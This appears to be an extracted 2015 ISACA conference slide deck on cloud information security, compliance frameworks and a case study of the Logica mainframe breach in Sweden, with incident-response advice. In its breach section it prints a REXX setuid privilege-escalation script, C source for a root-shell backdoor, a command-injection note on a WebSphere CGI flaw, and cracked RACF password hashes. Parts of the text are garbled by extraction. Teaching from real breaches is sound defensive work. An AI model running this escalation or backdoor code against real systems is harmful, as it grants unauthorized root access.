

An instinct for growth[™]

Information Risk & Security in the Cloud

Thursday March 19, 2015

San Francisco ISACA March Educational Event

© Grant Thornton LLP. All rights reserved

Today's Presenters



Orus Dearman Grant Thornton Director, Business Advisory Services San Francisco, CA T: 415.318.2240 E: Orus.Dearman@us.gt.com



Philip Young Wells Fargo Information Security Engineer Cyber Threat Management – Red Team T: 415-644-6739 E: Philip.Young2@wellsfargo.com

.

Learning Objectives

- Assess how cybersecurity affects your business
- Identify strategic ideas to mitigate cybersecurity risk and review your own organization's protocols
- Explain how to protect your company from a breach
- Recognize measures for protecting your business before and after a data breach



.

What is Cybersecurity?

- Preventive methods used to protect information or systems from being stolen, compromised or attacked.
- More than technology, it is a layered methodology of people, processes, communications and controls.
- Requires an understanding of potential threats such as malware, hackers and other malicious acts.



How do Data Breaches Occur?

| 52% | Used some form of hacking |
|-----|---|
| 76% | Exploited weak or stolen credentials |
| 40% | Incorporated malware |
| 35% | Involved physical attacks |
| 29% | Leveraged social tactics |
| 13% | Resulted from privilege misuse and abuse |

5

2014 Data Breaches



Global Card Fraud Losses



Payment card data remains one of the easiest types of data to convert to cash, and therefore the preferred choice of the criminals.

.

Common IT Audit Compliance

| Name | | Туре | Objective | Limited Scope |
|----------------|---|----------------------------|--|--|
| PCI DSS | Payment Card Industry Data Security Standard | Contractual Requirement | Protects cardholder data (i.e., credit cards, debit cards, etc.) | Cardholder data |
| HIPAA | Health Insurance Portability and Accountability Act | Government Regulation | Governs the use and disclosure of Protected Health Information (PHI) | PHI |
| GLBA | Gramm-Leach-Bliley Act | Government Regulation | Governs the collection, disclosure, and protection of consumer's non-public personal information by financial institutions | Consumer's non-public personal information |
| SOX | Sarbanes-Oxley | Government Regulation | Governs the adequacy of a company's internal control on financial reporting | Internal controls over financial reporting |
| SOC Reports | Service Organization Controls Report | Accounting Standard | Documents and tests controls implemented by outsourced service providers. | Controls over outsourced services |

What is PCI DSS?

- Common set of security standards designed to protect payment card data
- Standards created and maintained by PCI Security Standards Council (SSC)
- Represents major card brands (VISA, MasterCard, AmEx)
- Standards verify merchants are appropriately protecting cardholder data



PCI DSS Requirements

| Control Objectives | PCI DSS Requirements |
|---|--|
| Build and maintain a secure network | Install and maintain a firewall configuration to protect cardholder data Do not use vendor-supplied defaults for system passwords and other security parameters |
| Protect cardholder data | Protect stored cardholder data Encrypt transmission of cardholder data across open, public networks |
| Maintain a vulnerability management program | Use and regularly update anti-virus software on all systems commonly affected by malware Develop and maintain secure systems and applications |
| Implement strong access control measures | Restrict access to cardholder data by business need-to-know Assign a unique ID to each person with computer access Restrict physical access to cardholder data |
| Regularly monitor and test networks | 10. Track and monitor all access to network resources and cardholder data 11. Regularly test security systems and processes |
| Maintain an information security policy | 12. Maintain a policy that addresses information security |

Compliance Does Not Equal Cybersecurity

© Grant Thornton LLP. All rights reserved.



Phase 1: Determine Objectives

- What type of data does the Company want to protect?
- Where is the data located?
- Why does the Company want to protect the data?
- Who does the Company want to protect the data from?
- How could the data be compromised?
- What is the impact if the data was compromised?
- What price does the Company want to pay to protect the data?



- What Compliance Programs (i.e., PCI DSS, SOX, etc.) does the Company comply with?
- What Cyber Security risks do the Compliance Programs not address?
- Who has access to the data?
- What controls does the Company have to protect the identified data?
- Are the controls documented and tested on a regular basis?
- What are the Company's Cybersecurity gaps?



- Develop a layered Cybersecurity approach to address the Cybersecurity gaps at all layers of the GT Technology Model.
- Implement documented polices and procedures for protecting the Company's data.
- Implement a test plan to test the Cybersecurity Controls.
- Educate employees on their responsibilities for protecting the Company's data.
- Implement a process to re-assess the Company's Cybersecurity risks/controls on a regular basis.

Real World Example

- Swedish government outsource platform and application management to third parties
 - Cost saving measure
 - Hosting information in the 'cloud'

Essentially PaaS outsourced to Logica (subsidiary of CGI)



Springtime in Sweden

© Grant Thornton LLP. All rights reserved.



MEANWHILE, IN EXAMINE



Meanwhile in Sweden

Audience Quiz

- We know there are multiple types of security monitoring tools
- During the breach monitoring tools detect an anomaly
- Which team initially found breach?
 - a) The SIEM team
 - b) The expensive security software
 - c) A mainframe hardware usage operator

CORRECT!

- DING DING DING!
- Mainframe Operator detect heavy IO usage
 - Actually, they detected a sales account trying to access thousands of files they didn't have access to
- Files that are accessible are copied off the mainframe using FTP



Aftermath

- 4,533,823 KR (\$700,000)
- National 'Special Event'
- "BIG DATA"
- 2 mainframes (that we know of)
- 2 0-days used





PIRATE BAY CO-FOUNDER ARRESTED IN CAMBODIA ON SWEDISH ARREST REQUEST

RT.COM

Logica Breach: Timeline

© Grant Thornton LLP. All rights reserved.

February 2012

- Attacker Breaches a company called Applicate AB
- Infotorg used a z/OS mainframe as the back end
- The attackers targeted this system
- Applicate AB outsourced z/OS management to Logica
- Logica LPAR SYS19
- Multiple Access Points:
 - Weaknesses in Websphere
 - Account credentials stolen



- 7th: Applicate AB notices unusual load on their systems
- 8th: Applicate AB incident team meets with Logica security manager about potential breach
- 9th: Observation notes multiple accounts from multiple IP addresses have been used to access SYS19
- 10th: Logica begins blocking IP addresses and user IDs

Blocking Does Nothing

- The Applicate and Logica engineers are unable to keep the attackers out
- With every account blocked, new accounts are used to access the system
- For every IP address blocked, new IP addresses are used
- Unable to contain the breach Logica finally reaches out to Swedish Police on March 19th.
 - 10 days after detecting the breach

It Gets Worse

- March 21st:
 - They realize that not just one LPAR was affect. SYS3 was also affected by the breach.
 - A System Programmer account was being used to perform administrative activities by the attackers
 - Logs indicate copies of the TAX information database was copied
 - The Bailiff information database was copied
 - Source code was copied
 - 'Secret' people database

The Calvary

- March 23rd: The Swedish police, in over their heads call in external parties to aid in the investigation:
 - Secret Police (Swedish FBI)
 - IBM
 - KPMG
 - Rasmussen

Meanwhile

InCambodia

Anakata (allegedly)

- Installed Hercules (z/OS 1.04)
- Wrote scripts and hacks for z/OS
- Was slowly discovering z/OS weaknesses
- Eventually convicted for Logica breach
- Now on trial for Nordea breach

Attacking

- CVE-2012-5955
 - One attack vector
- CVE-2012-5951
 - Second vector (local priv escalation)

CVE-2012-5955

- Attack against WebSphere web server
- Runs APF authorized
- Comes with default CGI-BIN scripts
- UTCAM.SH (DEMO!)
- But basically ";"



-(dade@plex:pts/1)---(Fri,Oct10)-

UTCAM

- This is a shell script
- Uses 'commands' to create attack
- For example: steal
 - You provide the dataset name. It uses the OMVS command 'cp' to copy that dataset to a location that the webshere has access to
 - It then injects that command by using the cgi-bin vulnerability
 - Attacker can then download the files

CVE-2012-5951

- Requires command line access to UNIX
- Local privilege escalation using CNMEUNIX
- Specifically this program:
 - /usr/lpp/netview/vXrX/bin/cnmeunix
- However, the program is not important. Any SETUID REXX script would've worked

KUKU.RX

```
/* REXX */
call syscall 'ON'
if ___argv.2=='kuku' then do
        address syscall 'setuid 0
say 'l3tz g3t s0m3 0f d4t r00t!@#'
parm.0=2
parm.1=__argv.1
parm.2='kuku'
env.0=1
env.1='_BPC_SHAREAS=N0'
address syscall 'spawn cnmeunix 0 . parm. env.'
address syscall 'wait wret.'
```

\$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$ \$

Backdoors

- The attackers had access now
- Full access to OMVS which meant:
 - They could install any file
 - Change any configuration
 - They couldn't access any user (unless they used the system against itself)
- 8 C programs where installed as backdoors to execute a root shell:
 - asd, be, err, d044, qwe, daf1367, daf1473 and e90opc

#include <stdio.h> #include <unistd.h> int main(int argc, char *argv[]) ł setuid(0); setgid(0); setgroups(0, NULL); execl("/bin/sh", "sh", NULL); z

© G



—(~/PYTHON)
—(12:27:40)
→

-(dade@plex:pts/5)----(Mon,Feb23)-

© Grant Thornton LLP. All rights reserved.

John the Ripper

 $(12:33:20) \rightarrow cat hashes.racf$ GIGER: \$racf\$*GIGER*8807ED282E524B3E TATSU:\$racf\$*TATSU*6C72FE5AB827FB9A MERC: \$racf\$*MERC*4F537B9820346917 DADE:\$racf\$*DADE*14E0589248206440 JADE:\$racf\$*JADE*C4A2462FB0D4442E PRISM: \$racf\$*PRISM*AD078D6CB7405004 TCR0W:\$racf\$*TCR0W*28B84CDE96896CCA PRIZM:\$racf\$*PRIZM*B665B42F7C7EB9FE NIKON:\$racf\$*NIKON*FC2DF3B8C28A9329 GILL: \$racf\$*GILL*20038236F16FC178 RAZOR: \$racf\$*RAZOR*821459CA0F38A4E0 (12:35:41) ... / PROGRAMS/JohnTheRipper/run/john hashes.racf -- show GIGER:LOVE TATSU:GOD MERC:GOD DADE:LOVE JADE: J4D3 PRISM:SEX TCRØW:LOVE PRIZM:SECRET NIKON: GOD GILL:SEX RAZOR: SEX

Aftermath

- Unfathomable amounts of data exfiltrated out of the company
- Copies of source code for tax system
 System which audits and calculates tax returns
- 'Special' persons database:
 - Database of people protected under witness protection
- Bailiff Database:
 - Database showing who owes who what in terms of bail
- Tax ID database
 - Swedish SSN equivalents. Going back to 1960's

Nordea Breach

- The same level of attack and sophistication was used against internet facing mainframes belonging to Nordea Bank
- Attacker was able to execute commands and gained access to privileged accounts
- Successfully transferred \$4,000
- Failed to transfer \$1,000,000

Anakata Sentenced

- Anakata was sentenced to 6 years in sweden
- Was transferred to Norway to await trial
 Still awaiting trial, potentially May 28th
- Free Anakata movement has sprung up
 - Pirate Party has lots of support
 - Feel the arrest was politically motivated
 - Misses the point

Important Links

- Wikileaks Breach Investigation Documents:
 - https://wikileaks.org/gottfrid-docs/
- QNSR Translation of these documents: – http://qnrq.se/2013/05/
- Logica Breach Files:
 - https://github.com/mainframed/logica

Common Misconceptions

- It will never happen to me
- Our network is secure
- We are in compliance with industry standards
- We are not a big company
- We don't have any personal information so we aren't a target
- We have never been attacked



Preparation is Key

4 ways to prepare for a breach:

- **1. Data mapping/classification**: Before you come up with a plan to protect your data, you need to figure out exactly what it is you are protecting.
- 2. Conduct a vendor assessment: You need to account for data held by business partners, vendors and other third parties.
- **3. Create a risk profile**: There's no good way to know just how vulnerable your systems are without having someone try to hack them.
- 4. Create your incident response (IR) team and plan of action: Know who does what and when.

Planning Ahead

Incident response planning

- Constant vigilance
- Have warm standby systems



- Vendor management program responsibility
- Proactively engage external team members
- Conduct annual tabletop exercises
- Have incident response team trained and ready
- Involve your board of directors

Planning Ahead

An effective incident response plan should:

- Identify specific owners and contacts within the organization
- Have clear decision guidelines and associated actions
- Be usable, not overly complex
- Be tested regularly (at least once per quarter)
- Include all data loss incident types (i.e., not only intrusions)
- Outline how to help customers (including guidance, resources, etc.)

Planning Ahead



.

Treat every cyber breach as if it will result in a criminal prosecution.

.

© Grant Thornton LLP. All rights reserved.

Industry Response Grant Thornton - 2015 GRC Survey Results

- 73% of CAEs consider data privacy and security, including cyber security, a top risk area with the potential to affect their organization's growth
- 75% of audit committee members consider data privacy and security, including cyber security, a top risk area with the potential to affect their organization's growth
- 61% of CAEs are performing data security risk assessments

Industry Response Grant Thornton - 2015 GRC Survey Results

 What steps has your board taken in its oversight of data privacy and security (including cyber security) risks?



Questions

